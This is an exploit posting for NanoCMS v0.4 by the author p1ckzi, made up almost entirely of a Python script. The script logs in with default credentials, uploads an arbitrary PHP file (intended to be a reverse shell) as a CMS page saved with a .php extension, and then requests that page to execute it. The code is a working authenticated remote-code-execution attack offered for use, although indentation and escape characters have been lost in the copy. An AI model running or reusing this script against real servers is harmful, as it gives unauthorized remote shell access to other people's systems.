Authored by p1ckzi

NanoCMS version 0.4 suffers from an authenticated remote code execution vulnerability.

# Exploit Title: NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-07-26
# Exploit Auuthor: p1ckzi
# Vendor Homepage: https://github.com/kalyan02/NanoCMS
# Version: NanoCMS v0.4
# Tested on: Linux Mint 20.3
# CVE: N/A
#
# Description:
# this script uploads a php reverse shell to the target.
# NanoCMS does not sanitise the data of an authenticated user while creating
# webpages. pages are saved with .php extensions by default, allowing an
# authenticated attacker access to the underlying system:
# https://github.com/ishell/Exploits-Archives/blob/master/2009-exploits/0904-exploits/nanocms-multi.txt

#!/usr/bin/env python3

import argparse
import bs4
import errno
import re
import requests
import secrets
import sys


def arguments():
parser = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description=f"{sys.argv[0]} exploits authenticated file upload"
"nand remote code execution in NanoCMS v0.4",
epilog=f"examples:"
f"ntpython3 {sys.argv[0]} http://10.10.10.10/ rev.php"
f"ntpython3 {sys.argv[0]} http://hostname:8080 rev-shell.php -a"
f"nt./{sys.argv[0]} https://10.10.10.10 rev-shell -n -e -u 'user'"
)
parser.add_argument(
"address", help="schema/ip/hostname, port, sub-directories"
" to the vulnerable NanoCMS server"
)
parser.add_argument(
"file", help="php file to upload"
)
parser.add_argument(
"-u", "--user", help="username", default="admin"
)
parser.add_argument(
"-p", "--passwd", help="password", default="demo"
)
parser.add_argument(
"-e", "--execute", help="attempts to make a request to the uploaded"
" file (more useful if uploading a reverse shell)",
action="store_true", default=False
)
parser.add_argument(
"-a", "--accessible", help="turns off features"
" which may negatively affect screen readers",
action="store_true", default=False
)
parser.add_argument(
"-n", "--no-colour", help="removes colour output",
action="store_true", default=False
)
arguments.option = parser.parse_args()


# settings for terminal output defined by user in term_settings().
class settings():
# colours.
c0 = ""
c1 = ""
c2 = ""

# information boxes.
i1 = ""
i2 = ""
i3 = ""
i4 = ""


# checks for terminal setting flags supplied by arguments().
def term_settings():
if arguments.option.accessible:
small_banner()
elif arguments.option.no_colour:
settings.i1 = "[+] "
settings.i2 = "[!] "
settings.i3 = "[i] "
settings.i4 = "$ "
banner()
elif not arguments.option.accessible or arguments.option.no_colour:
settings.c0 = "u001b[0m" # reset.
settings.c1 = "u001b[38;5;1m" # red.
settings.c2 = "u001b[38;5;2m" # green.
settings.i1 = "[+] "
settings.i2 = "[!] "
settings.i3 = "[i] "
settings.i4 = "$ "
banner()
else:
print("something went horribly wrong!")
sys.exit()


# default terminal banner (looks prettier when run lol)
def banner():
print(
"n .__ .__"
" .__ "
"n ____ _____ ____ ____ ____ _____ _____| |__ ____ | "
"| | | "
"n / __ / / _ _/ ___ / / ___/ | _/ "
"__ | | | | "
"n| | / __ | | ( <_> ) ___| Y Y ___ | Y _"
"__/| |_| |__"
"n|___| (____ /___| /____/ ___ >__|_| /____ >___| /___ "
">____/____/"
"n / / / / / / / "
" /"
)


def small_banner():
print(
f"{sys.argv[0]}"
"nNanoCMS authenticated file upload and rce..."
)


# appends a '/' if not supplied at the end of the address.
def address_check(address):
check = re.search('/$', address)
if check is not None:
print('')
else:
arguments.option.address += "/"


# creates a new filename for each upload.
# errors occur if the filename is the same as a previously uploaded one.
def random_filename():
random_filename.name = secrets.token_hex(4)


# note: after a successful login, credentials are saved, so further reuse
# of the script will most likely not require correct credentials.
def login(address, user, passwd):
post_header = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) "
"Gecko/20100101 Firefox/91.0",
"Accept": "text/html,application/xhtml+xml,"
"application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "",
"Connection": "close",
"Referer": f"{arguments.option.address}data/nanoadmin.php",
"Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5",
"Upgrade-Insecure-Requests": "1",
}
post_data = {
"user": f"{user}",
"pass": f"{passwd}"
}

url_request = requests.post(
address + 'data/nanoadmin.php?',
headers=post_header,
data=post_data,
verify=False,
timeout=30
)
signin_error = url_request.text
if 'Error : wrong Username or Password' in signin_error:
print(
f"{settings.c1}{settings.i2}could "
f"sign in with {arguments.option.user}/"
f"{arguments.option.passwd}.{settings.c0}"
)
sys.exit(1)
else:
print(
f"{settings.c2}{settings.i1}logged in successfully."
f"{settings.c0}"
)


def exploit(address, file, name):
with open(arguments.option.file, 'r') as file:
file_contents = file.read().rstrip()
post_header = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) "
"Gecko/20100101 Firefox/91.0",
"Accept": "text/html,application/xhtml+xml,"
"application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "",
"Connection": "close",
"Referer": f"{arguments.option.address}data/nanoadmin.php?action="
"addpage",
"Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5",
"Upgrade-Insecure-Requests": "1",
}

post_data = {
"title": f"{random_filename.name}",
"save": "Add Page",
"check_sidebar": "sidebar",
"content": f"{file_contents}"
}

url_request = requests.post(
address + 'data/nanoadmin.php?action=addpage',
headers=post_header,
data=post_data,
verify=False,
timeout=30
)
if url_request.status_code == 404:
print(
f"{settings.c1}{settings.i2}{arguments.option.address} could "
f"not be uploaded.{settings.c0}"
)
sys.exit(1)
else:
print(
f"{settings.c2}{settings.i1}file posted."
f"{settings.c0}"
)

print(
f"{settings.i3}if successful, file location should be at:"
f"n{address}data/pages/{random_filename.name}.php"
)


def execute(address, file, name):
print(
f"{settings.i3}making web request to uploaded file."
)
print(
f"{settings.i3}check listener if reverse shell uploaded."
)
url_request = requests.get(
address + f'data/pages/{random_filename.name}.php',
verify=False
)
if url_request.status_code == 404:
print(
f"{settings.c1}{settings.i2}{arguments.option.file} could "
f"not be found."
f"n{settings.i2}antivirus may be blocking your upload."
f"{settings.c0}"
)
else:
sys.exit()


def main():
try:
arguments()
term_settings()
address_check(arguments.option.address)
random_filename()
if arguments.option.execute:
login(
arguments.option.address,
arguments.option.user,
arguments.option.passwd
)
exploit(
arguments.option.address,
arguments.option.file,
random_filename.name,
)
execute(
arguments.option.address,
arguments.option.file,
random_filename.name,
)
else:
login(
arguments.option.address,
arguments.option.user,
arguments.option.passwd
)
exploit(
arguments.option.address,
arguments.option.file,
random_filename.name,
)
except KeyboardInterrupt:
print(f"n{settings.i3}quitting.")
sys.exit()
except requests.exceptions.Timeout:
print(
f"{settings.c1}{settings.i2}the request timed out "
f"while attempting to connect.{settings.c0}"
)
sys.exit()
except requests.ConnectionError:
print(
f"{settings.c1}{settings.i2}could not connect "
f"to {arguments.option.address}{settings.c0}"
)
sys.exit()
except FileNotFoundError:
print(
f"{settings.c1}{settings.i2}{arguments.option.file} "
f"could not be found.{settings.c0}"
)
except (
requests.exceptions.MissingSchema,
requests.exceptions.InvalidURL,
requests.exceptions.InvalidSchema
):
print(
f"{settings.c1}{settings.i2}a valid schema and address "
f"must be supplied.{settings.c0}"
)
sys.exit()


if __name__ == "__main__":
main()